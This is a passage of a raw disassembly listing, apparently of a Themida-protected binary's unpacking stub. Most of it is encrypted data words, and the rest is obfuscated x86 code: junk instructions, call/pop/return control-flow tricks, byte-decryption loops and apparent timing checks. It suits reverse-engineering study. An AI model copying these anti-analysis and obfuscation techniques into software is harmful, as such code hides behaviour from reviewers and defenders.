3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 5AA7C350h, 7D858BFCh dd 9060B31h, 0B2E91BDh, 5830F06h, 66000000h, 0BF2AE781h dd 6A044689h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 743FC352h, 0E97C490Eh, 13h, 50218AACh dd 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 5066F5D6h, 0D5AD75BBh dd 24348946h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 13C35545h, 0C56A6452h, 0F964A70h, 8D89DBB7h, 60B27C5h dd 0A815B5FFh, 8501060Eh, 60B21DDh, 31577B68h, 81D88B91h dd 0AC842404h, 6A6EEDh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 15D5E3C3h, 0C57E557Dh, 1D858D0Ch dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 33C4C355h, 9589675Dh, 60B0669h dd 247D8D09h, 6650060Bh, 89C1A3BFh, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C0368DC3h dd 0FFDE8B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0B590EA08h dd 95896208h, 60B063Dh ; --------------------------------------------------------------------------- loc_580A78: ; CODE XREF: Themida_:00580849j popa mov edi, [ebp+60B32F1h] mov bx, 5238h mov dword ptr [ebp+60B1009h], 3 mov [ebp+60B00C9h], edx cmp dword ptr [ebp+60EA81Dh], 0 jz loc_580ADE jmp loc_580AB3 ; --------------------------------------------------------------------------- inc ebp cmp edx, eax xchg edi, [esi] das push cs adc cl, [ecx] pop ss pop edx or al, 0C0h dec eax loc_580AB3: ; CODE XREF: Themida_:00580AA0j jmp loc_580AF9 ; --------------------------------------------------------------------------- push 0 push ecx call sub_580AC3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580AC3 proc near ; CODE XREF: Themida_:00580ABBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_580AC3 endp ; --------------------------------------------------------------------------- push ebx mov ds:29883645h, al popf sub [ebx], ebx or eax, [esi] loc_580ADE: ; CODE XREF: Themida_:00580A9Aj ; Themida_:00580AF5j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_580ADE jmp short loc_580B2F ; --------------------------------------------------------------------------- loc_580AF9: ; CODE XREF: Themida_:00580645j ; Themida_:loc_580AB3j ... push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_580AF9 jmp short loc_580B2F ; --------------------------------------------------------------------------- loc_580B14: ; CODE XREF: Themida_:00580B2Bj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_580B14 jmp short $+2 loc_580B2F: ; CODE XREF: Themida_:00580AF7j ; Themida_:00580B12j mov eax, eax movsx ebx, ax mov ebx, [ebp+60B1991h] push 0 push edi call sub_580B45 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580B45 proc near ; CODE XREF: Themida_:00580B3Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_580B45 endp ; --------------------------------------------------------------------------- db 0D2h, 0B2h, 27h dd 93AD6ED7h, 0FDBD897Eh, 83060B0Ah, 0B1009BDh, 850F0306h dd 49Eh, 75BCEB81h, 0BD8318DEh, 60EA81Dh, 8B840F00h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 435EC351h, 0C0D77906h, 0CBD9D29h, 0B5FF060Bh dd 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 95C35343h, 373F5363h, 83D95FFh, 9D8B060Bh, 60B1AC5h dd 2B61B589h, 0B58B060Bh, 60EA811h, 0FE9h, 1A983500h, 9A5FECD0h dd 84BB3DCh, 24AFDDA8h, 14E59D8Bh, 6C7060Bh, 10001h, 0A6399DBFh dd 5060964Dh, 9E852h, 9A210000h, 3F16970Eh, 5A748110h dd 6E8310Fh, 28000000h, 0BF2D6DAh, 585A5F20h, 56535061h dd 5F5BDE8Bh, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 55F710E5h, 0C6234100h, 1DB5FF97h dd 0F060EA8h, 689h, 0B1B58900h, 0FF060B07h, 0B064195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0B5A850FFh, 8BE8D690h, 0B0509BDh, 7E806h dd 54000000h, 0E112D6BAh, 59BD8983h, 5F060B13h, 0A811B58Bh dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 3153DDC3h, 9D8BC856h, 60B0E9Dh, 19059589h dd 858B060Bh, 60B121Dh, 29DD9589h, 8689060Bh, 0C4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 98C35545h, 0E5BA9D04h dd 0D0E8FD9Ch, 6860F0Ah, 89000000h, 0B0B318Dh, 4D958B06h dd 31060B17h, 0B04B595h, 4C28306h, 68F0Fh, 8D0F0000h, 0 ; --------------------------------------------------------------------------- mov di, 4E48h mov [eax+20h], edx push 0 push ebp call sub_580D52 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580D52 proc near ; CODE XREF: Themida_:00580D4Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_580D52 endp ; --------------------------------------------------------------------------- pop ecx or [ebp+0EBAEE85h], ecx push es push 0 push eax call sub_580D75 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580D75 proc near ; CODE XREF: Themida_:00580D6Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_580D75 endp ; --------------------------------------------------------------------------- aas add [edi-76h], edi adc cl, ds:0B7547B11h mov bx, 7C5Eh mov [esi+0B8h], eax push 0 push ecx call sub_580DA4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580DA4 proc near ; CODE XREF: Themida_:00580D9Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_580DA4 endp ; --------------------------------------------------------------------------- xchg eax, edi cdq mov ebx, [ebp+60B08B1h] push 0 push 0 push ebp call sub_580DC9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_580DC9 proc near ; CODE XREF: Themida_:00580DC1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_580DC9 endp ; --------------------------------------------------------------------------- db 77h, 48h, 0CFh dd 3F0CA72Ah, 10E82A76h, 44000000h, 0AA37B579h, 0CD73ADCEh dd 5297592h, 8A9C0363h, 0B5FF5BDDh, 60EA81Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6BC35545h, 0D9B70FC8h dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 44A6EC3h, 8D01CBC7h, 60B3355h, 0EE950h dd 9C040000h, 8EBD55D2h, 0F08318A6h, 0EED8B1AAh, 6A243489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 8C1AC351h, 0B5FFF8D2h, 60EA81Dh, 0B70FF88Bh dd 0F595FFF8h, 66060B00h, 9FBDDB81h, 2191BD83h, 0F00060Bh dd 5184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0D098DBFAh, 29C9B589h, 5096060Bh dd 6A96DE8Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 6EC6C350h, 6FBE066Eh, 6690D367h dd 0B5FFFE8Bh, 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 7AC35343h, 9B9ABCF8h, 8195FF10h, 0E8060B12h dd 0Eh, 9FFA071Ah, 6B1E1CF1h, 0D2703D81h, 85094EC1h, 60B2001h dd 1DB5FF5Bh, 0F060EA8h, 95FFDBBFh, 60B0B8Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8DC35040h, 15520AECh dd 0BD834614h, 60B17F1h, 86840F02h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0CDDEC350h, 95E9AB4Fh, 6060A4AAh, 6E9h, 0CFB9A600h dd 2905B095h, 0B298195h, 0CE96106h, 4D000000h, 0EA94D76Dh dd 0FCFE7CE4h, 6143BA0Bh, 2EC5858Bh, 8F0F060Bh, 6, 13BD9D29h dd 0C6060Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 92111266h, 8BF9DC91h, 0B151DBDh dd 0B985C706h, 60B06h, 0F000000h, 49E9D9BFh, 6AFFFFF2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8B21C357h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8BE18CDFh, 0B0BC59Dh dd 0A9858D06h, 0F060B28h, 38Fh, 0F98B6600h, 0BF665750h dd 895F3E82h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 6AEEC3h, 7E18D89h, 6A060Bh, 261BD0Bh dd 858D060Bh, 60F5116h, 0DB9FBF66h, 6A05C083h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 1140C350h, 72DD1DD0h, 89601B51h, 0B15C59Dh, 61F38A06h dd 0BA34BF50h, 4895265h, 0AD850124h, 6A060B02h, 38B0F00h dd 80000000h, 6A38C3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 49C35141h, 0CDABE4Bh, 68E0F40h, 1000000h dd 0B0CE5B5h, 2195FF06h, 6A060B2Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D7F6C355h dd 0E5BD8B77h, 8D060B04h, 0EA7B08Dh, 0EF816606h, 0D1FF209Ch dd 7E9h, 0EAF4BA00h, 0DA267E44h, 0B19BD83h, 0F01060Bh dd 4D85h, 0BA606000h, 13EE3496h, 8D2B61FCh, 60B0F31h, 89026A61h dd 0B06299Dh, 8B665006h, 240489D8h, 6D18D01h, 95FF060Bh dd 60B0F15h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 15C35343h, 0AE0E5344h, 41E972FDh, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 60F5120h push 0 push eax call sub_5811D6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5811D6 proc near ; CODE XREF: Themida_:005811CEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5811D6 endp ; --------------------------------------------------------------------------- dw 0FEB9h dd 0F847F917h, 6E8B843h, 8000000h, 68CF565Eh, 7E9A3h, 95CE0000h dd 3A4436A9h, 8B665F68h, 0BE9F8h, 35F10000h, 0E1E08F6Dh dd 7FD9DB81h, 14E812h, 0CFC40000h, 49D7C8F6h, 2861CB1Bh dd 4E9C001Ah, 7E9E9B18h, 0B6035D8h, 0B17959Dh, 0A9BD8B06h dd 61060B06h, 93858D5Bh, 31060E92h, 0B06DD95h, 0ECBB5006h dd 8953290Ah, 0D5BF2404h, 640D3FFFh, 35FFh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 98AAD1C3h, 0F60973A9h, 64442952h, 2589h, 95890000h dd 60B19C5h, 66D85FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 29A97EC3h, 54A47BC1h dd 0BE9AEh, 0C1030000h, 0AFC6F8Dh, 2129C9C2h, 6AFF6A35h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 8ECBC353h, 16EF90E4h, 5753CF47h, 7ADCBB66h dd 0C9B5FF5Bh, 6A060B19h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 2BAFC350h, 0CB71D67Bh dd 9743BBD7h, 95FF715Fh, 60B2411h, 112E9h, 1DBD0B00h, 0B0060B21h dd 519D0900h, 0E6060B2Fh, 1DBD8B70h, 0E4060B01h, 0F613C71h dd 0F283h, 850FF500h, 0 ; --------------------------------------------------------------------------- movzx ecx, al call sub_581373 or bh, ds:0D1DBB90Ah[ebx*2] or al, 1 push cs dec esp jg short near ptr loc_58139A+2 cmp ds:7F08288Fh, esp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_581373 proc near ; CODE XREF: Themida_:0058135Bp jmp sub_58137D sub_581373 endp ; --------------------------------------------------------------------------- dd 0D3208B03h db 0BBh ; =============== S U B R O U T I N E ======================================= sub_58137D proc near ; CODE XREF: sub_581373j pop ebx mov edx, 6 mov [ebp+60B0329h], eax mov eax, ecx mov [ebp+60B18A9h], ecx mov edi, [ebp+60B0139h] shr eax, 4 loc_58139A: ; CODE XREF: Themida_:0058136Bj movsx ebx, bx mul dx mov edi, [ebp+60B025Dh] sub ecx, eax mov ebx, 2F8EBCC8h mov edx, ecx mov [ebp+60B2085h], edx jmp $+5 mov eax, [ebp+60B2075h] call near ptr loc_5813D1+1 insd adc al, 0DEh fcom dword ptr ds:31321AC2h xchg ecx, ecx movsb loc_5813D1: ; CODE XREF: sub_58137D+43p repne pop edi sub_58137D endp ; sp-analysis failed add eax, 7 or [ebp+60B32D5h], edi add eax, 0 and bx, 0A203h cmp edx, eax jnb loc_5813FE jnp $+6 jmp loc_581443 ; --------------------------------------------------------------------------- jge loc_5813FE stc loc_5813FE: ; CODE XREF: Themida_:005813E6j ; Themida_:005813F7j mov ecx, [ebp+60B0869h] jmp loc_58141C ; --------------------------------------------------------------------------- db 0FCh, 0FBh, 7 dd 21495DF5h, 8ACDDBD5h, 0D11621D8h, 32374D21h ; --------------------------------------------------------------------------- loc_58141C: ; CODE XREF: Themida_:00581404j and ecx, 1 jz loc_581443 and dword ptr [ebp+60B0869h], 0FFFFFFFEh jz $+6 mov [ebp+60B2075h], edx add [ebp+60B2255h], eax jmp $+5 loc_581443: ; CODE XREF: Themida_:005813F2j ; Themida_:0058141Fj lea esi, [ebp+60ED704h] push 0 push ebp call sub_581454 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581454 proc near ; CODE XREF: Themida_:0058144Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_581454 endp ; --------------------------------------------------------------------------- add esp, [ebx-58BB2602h] mov dh, 66h sbb ebx, 6A911Ah push 0 push ebp call sub_58147D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58147D proc near ; CODE XREF: Themida_:00581475p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_58147D endp ; --------------------------------------------------------------------------- db 61h, 16h, 11h dd 219D75EEh, 0F95670E1h, 8D58589h, 0FE9060Bh, 0AA000000h dd 133EA3C3h, 643B29F3h, 737C47BDh, 95FF1772h, 60B32DDh dd 3820B6BBh, 0A48B974h, 0BD890000h, 60B0209h, 0DE9h, 7039F000h dd 6819171Eh, 54889E5Dh, 0E18397E2h, 0F337BFFCh, 6AFC3D0Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 7949C355h, 699DED40h, 0B8FCh, 9D8B0000h dd 60B035Dh, 6AD22Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0ADFB32C3h, 0A0DC215Eh, 56561BCCh dd 12E8h, 294F1B00h, 320D8D3Fh, 5D52821Ah, 0F9A7DDB0h dd 5BDF3E37h, 33AD5B5Fh, 3E8D1C2h, 4E983D0h, 8D89F475h dd 60B2B1Dh, 22F9BD31h, 0E857060Bh, 8, 83ACEDE9h, 0FE15DCA4h dd 6E9h, 2B017300h, 5B4617C5h, 880D5Fh, 0E8BB0000h, 60032D58h dd 8D8BEBB6h, 60B08D5h, 4D958B61h, 0B3060B17h, 198D8B2Eh dd 6A060B01h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 5500C353h, 6E8C1E3h, 9D000000h dd 47D5A5E5h, 61B58984h, 5B060B27h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BF0F5818h, 52006AFFh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 12E9E9DFh, 0B8000000h, 0EBF114DEh, 0AA096F40h, 222BB820h dd 36B51EDEh, 0BD83F938h, 60B29BDh, 6A840F00h, 53000000h dd 12E1BD8Bh, 0B85B060Bh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_581647 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581647 proc near ; CODE XREF: Themida_:0058163Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_581647 endp ; --------------------------------------------------------------------------- popa mov ebx, [ebp+60B0EB5h] lea ecx, [ebp+60B4DD7h] cld mov ebx, [ebp+60B2939h] jmp ecx ; --------------------------------------------------------------------------- push 0 push ecx call sub_581678 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_581678 proc near ; CODE XREF: Themida_:00581670p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_581678 endp ; --------------------------------------------------------------------------- dd 0FDCC8244h, 659D8B58h, 8B060B1Ah, 0B20E1BDh, 9BD8306h dd 60B10h, 4A9840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 6A0C24C3h, 0E5B2985Dh dd 1009BD83h, 0F01060Bh, 49584h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0B59D8989h dd 83060B21h, 0B1009BDh, 860F0306h, 430h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 60C35242h, 4A72CCE9h dd 8D896210h, 60B18F5h, 0D98C6660h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 7BC35747h, 8680BB3Eh, 8192639Eh dd 0A6824CBh, 399D0964h, 80060B2Bh, 6A04E1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 11B58BC3h dd 8EF0C7F3h, 0C90A27C3h, 153840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 7C0528C3h dd 858BBB89h, 60B317Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 2DC35545h, 0B67F1D2Ah, 1AB36011h, 5A5EE81h dd 89613612h, 0B0809BDh, 0ED853306h, 8B060B06h, 0B069D9Dh dd 8E95006h, 7B000000h, 3EB8ABEh, 896B5CA4h, 5F522404h dd 8589006Ah, 60B02DDh, 0DFC76768h, 6E8ADh, 3BFF0000h dd 5A4984E2h, 8E9h, 0D6F9D400h, 1584AE97h, 4815BD6h, 3F3C9824h dd 50006A52h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0CF3CFCA9h, 0BD899F7Eh, 60B02D5h, 3D195FFh dd 14E9060Bh, 0E6000000h, 0DE1F3816h, 19EE0DF1h, 9F31BA41h dd 0DE013CAEh, 89546BA3h, 0EA81D85h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4CBA2A78h dd 8934D34Bh, 0B0D0995h, 0D7816606h, 0DAE951F6h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 2664C350h, 7A7D18D0h, 60059A6Eh, 10759501h dd 8589060Bh, 60B02E5h, 15858B61h, 6A060EA8h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 9C86C357h, 6D8D01D4h, 0C7060B13h, 1800h, 13E900h, 0DD750000h dd 0ED07A31Ah, 53FDA90Ah, 8C97D4D1h, 59D75859h, 19B58B81h dd 89060EA8h, 0B0E9DBDh, 8BACB706h, 0B06E185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 81A85C73h, 0BB1180DCh, 7C3CCB89h, 6A0689h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 43E788C3h dd 1A3B97D9h, 1D9D8B11h, 0F9060B15h, 317D858Bh, 0FE9060Bh dd 0AA000000h, 21366CE3h, 0BFE5AF44h, 18C70BA7h, 816680EAh dd 89F22CDBh, 50960446h, 0FBB96660h, 38B0F6Ah, 66000000h dd 9661DE8Bh, 0C1BD2960h, 0E8060B06h, 9, 0F303C862h, 4F334E99h dd 9DD881B1h, 5A533A19h, 15B5FF61h, 68060EA8h, 920F6EDFh dd 20240481h, 6A6E0F95h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 88D3C351h, 1BB2BE73h dd 51C8209Ah, 292D9589h, 858D060Bh, 60EA81Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D0C35343h, 36B86509h dd 509C4245h, 0F88A5250h, 0B060310Fh, 9DBE66DEh, 585A61F2h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 276BC353h, 14BB2276h, 0D195FF9Ch dd 89060B03h, 0B2189BDh, 6A6106h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 8293B1C3h, 0C7B675D1h dd 0B100985h, 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8A66B6BAh, 1DBD83FEh dd 60EA8h, 52840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0B56731C3h, 0B50997D5h dd 60B27DDh, 42E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 83E06193h, 0BB940FF8h dd 3F6B4BA7h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 81C08B00h, 8E2ADF7h, 6E95Fh, 6700000h, 1CCDADD8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 65C35343h, 0BD836AC9h dd 60B1009h, 8850F03h, 83000004h, 0EA81DBDh, 840F0006h dd 3FBh, 5718D89h, 0B5FF060Bh, 60EA81Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 59C35343h, 0F4B62A9h dd 286h, 0E945B300h, 10h, 10F765DEh, 0E41A509h, 3E97668Ch dd 20BF883Fh, 83D95FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0CAC4FCC3h, 3D858940h dd 8B060B10h, 0EA811B5h, 6860F06h, 89000000h, 0B1A858Dh dd 106C706h, 6A000100h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 3E6EC353h, 0FDE7C230h dd 0C9958931h, 50060B0Dh, 28D0Fh, 0F88B0000h, 0FC243489h dd 0A81DB5FFh, 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 9C7597C3h, 0B17EA9ADh, 66FE3F44h dd 0E13DEB81h, 64195FFh, 0CE8060Bh, 48000000h, 51B5CB7Fh dd 83D7E214h, 0E95F4F21h, 13h, 16AC8A59h, 40EF6AB6h, 0A1BE8043h dd 0C0CB2C0Eh, 5B29F951h, 0A811B58Bh, 19BB060Eh, 8B2CC8E3h dd 0B121D85h, 8DEB8006h, 0C48689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 36060C3h dd 0B16318Dh, 61F18B06h, 174D958Bh, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 155164C3h dd 4C28391h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 3AC35141h, 0F2C55C7Eh, 0B82F18h, 0CE9h, 9B1D6E00h dd 0BBED7EADh, 0DC12D329h, 205089CBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0EDC35747h, 4556E474h, 0D88EB7A2h dd 8DDC8AA5h, 0EBAEE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 8E9AA192h, 89501CC5h dd 0B0BADBDh, 86895F06h, 0B8h, 16A59D8Bh, 6A060Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0FE09EB08h dd 9531A9E7h, 60B2B79h, 0A81DB5FFh, 12E9060Eh, 26000000h dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh, 1595FF4Ch dd 6A060B0Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 1CD6C352h, 4BFCBE15h, 0F80C5023h dd 24348950h, 1DB5FFF5h, 3060EA8h, 0B01B5BDh, 8E906h, 62470000h dd 29B6C709h, 95FF2480h, 60B00F5h dd 0C860Fh, 830F0000h, 6, 0D09BD8Bh, 0BD83060Bh, 60B2191h dd 27840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 6B49C355h, 8B605250h dd 895F61C6h, 0B5FF2434h, 60EA81Dh, 128195FFh, 6A060Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 5FA085C3h, 0FFDBFCAEh, 0EA81DB5h, 552BBF06h, 95FF0F0Dh dd 60B0B8Dh, 17F1BD83h, 0F02060Bh, 7484h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0B5896F05h, 60B2E65h, 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3CDCFDC3h dd 0FC1B7C2Fh, 0C6B136h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0C6E14BDh, 8FC38166h dd 0B985C7B6h, 60B06h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0CBF0C351h dd 11DE3FE4h, 85F381E6h, 0F21D8A5h, 68Eh, 0C9BD8B00h, 0E9060B31h dd 0FFFFF2FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0F8C35343h, 0E90FC4DFh, 7, 0D527205Fh, 8B406FC1h dd 0D8BF0FC1h, 28A9858Dh, 8A0F060Bh, 16h, 11E9h, 0C94CA000h dd 79C388C3h, 82AD57EAh, 0B37F40DBh, 8B50EEFCh, 240489FAh dd 1B4D8589h, 6A060Bh, 0D2A4BF66h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0AAFE82C3h dd 510386DFh, 858DF33Ah, 60F60FEh, 83FCD98Bh, 6A05C0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 6214D1C3h, 9D0BFC88h, 60B2AE1h, 52505050h, 310F5250h dd 310F585Ah, 8E0Fh, 585A0000h, 2404895Fh, 5519529h, 6A060Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1FC35545h dd 50F0A907h, 6A7B2933h, 9531FC00h, 60B0E85h, 2F2195FFh dd 61BF060Bh, 8D110C25h, 0EA7B08Dh, 0D6BF6606h, 6AD1FFECh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0BC3C353h, 66485C93h, 9589FE8Bh, 60B0CBDh dd 0B19BD83h, 0F01060Bh, 7D85h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0BBC79E82h dd 5B70AC8Eh, 0E960026Ah, 0Dh, 7F3ED737h, 69FEB321h, 0C25789B0h dd 61F38B54h, 6FBB6650h, 24048939h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 5BC35545h, 0ED597BC4h, 0FF903A1Ch dd 0B0F1595h, 0CE906h, 0A6330000h, 416DBFEBh, 99EE8D86h dd 31E98033h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 60F6108h push 0 push esi call 